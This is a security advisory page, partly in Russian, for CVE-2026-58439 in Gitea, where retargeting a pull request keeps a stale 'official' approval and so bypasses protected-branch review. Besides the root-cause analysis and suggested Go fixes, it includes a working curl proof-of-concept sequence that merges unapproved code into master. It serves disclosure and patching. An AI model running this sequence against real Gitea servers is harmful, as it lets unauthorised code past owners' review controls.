GHSA-w5pg-649r-p6gg

Опубликовано: 21 июл. 2026

Источник: github

Github: Прошло ревью

CVSS3: 8.1

Описание

Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale official Approval Flag

Summary

Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

Confirmed on Gitea 1.25.4 (1.25.4+41-g96515c0f20)

Vulnerability Details

Root Cause

When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:

Updates pr.BaseBranch
Recalculates merge feasibility and divergence
Deletes old push comments
Creates a "change target branch" comment

But it does not:

Re-evaluate official on existing reviews
Dismiss existing approvals
Check whether reviewers are in the new target branch's approval whitelist

At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.

Relevant Code Paths

Review creation — services/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/false
Target branch change — services/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviews
Merge check — services/pull/check.go:CheckPullMergeable → models/issues/pull.go:GetGrantedApprovalsCount counts stored official=true reviews without re-evaluating against the new branch's whitelist

Prerequisites

The attacker needs:

Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin)
The ability to create pull requests (standard for any user with push access)
A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does not need:

Admin access
To be in the approval whitelist for the protected branch
Any interaction from the branch protection's designated approvers

Proof of Concept

Setup

Repository owner/repo with branch master protected:

Required approvals: 1
Approval whitelist enabled, containing only user admin-reviewer
User attacker has write access but is not in the approval whitelist

Steps

BASE="http://gitea-instance:3000" OWNER="owner" REPO="repo" ATTACKER_AUTH="attacker:password" ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user # 1. Create an unprotected temporary branch from master curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}' # 2. Push a malicious commit to a feature branch git checkout -b malicious-branch origin/master echo "malicious payload" > payload.txt git add payload.txt git commit -m "innocent looking commit" git push origin malicious-branch # 3. Create PR targeting the UNPROTECTED branch curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{ "head": "malicious-branch", "base": "tmp-unprotected", "title": "Add feature" }' # Returns PR #N # 4. Approve the PR (official=true because tmp-unprotected has no protection) curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ACCOMPLICE_AUTH" \ -H "Content-Type: application/json" \ -d '{"event": "APPROVED", "body": "LGTM"}' # Response includes: "official": true # 5. Retarget the PR to protected master curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"base": "master"}' # 6. Verify: approval is still official=true against master curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \ -u "$ATTACKER_AUTH" # Response: "official": true, "dismissed": false, "stale": false # 7. Merge — succeeds despite no whitelisted approver reviewing curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \ -u "$ATTACKER_AUTH" \ -H "Content-Type: application/json" \ -d '{"do": "merge"}' # Returns 200 OK — malicious commit is now on master

Observed API Responses

Step 4 — Approval on unprotected branch:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}

Step 6 — Same approval after retarget to protected master:

{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}

The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.

Impact

Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

Suggested Fix

Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:

// After updating the base branch, re-evaluate official status on all reviews reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{ IssueID: pr.IssueID, Type: issues_model.ReviewTypeApprove, }) if err != nil { return err } newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch) if err != nil { return err } for _, review := range reviews { wasOfficial := review.Official if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist { review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer) } else { review.Official = false } if wasOfficial != review.Official { if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil { return err } } }

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

// Dismiss all approvals when target branch changes if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{ IssueID: pr.IssueID, Message: "Dismissed: PR target branch changed", }); err != nil { return err }

Ссылки

Пакеты

Наименование

code.gitea.io/gitea

Затронутые версииВерсия исправления

< 1.27.0

1.27.0

EPSS

Процентиль: 21%

0.00284

Низкий

8.1 High

CVSS3

CVE ID

CVE-2026-58439

Дефекты

CWE-863

Связанные уязвимости

CVE-2026-58439

CVSS3: 7.7

redhat

20 дней назад

Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

CVE-2026-58439

CVSS3: 8.1

nvd

20 дней назад

Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

ROS-20260813-80-0005

redos

20 дней назад

Уязвимость gitea

ROS-20260813-73-0005

redos

20 дней назад

Уязвимость gitea

EPSS

Процентиль: 21%

0.00284

Низкий

8.1 High

CVSS3

CVE ID

CVE-2026-58439

Дефекты

CWE-863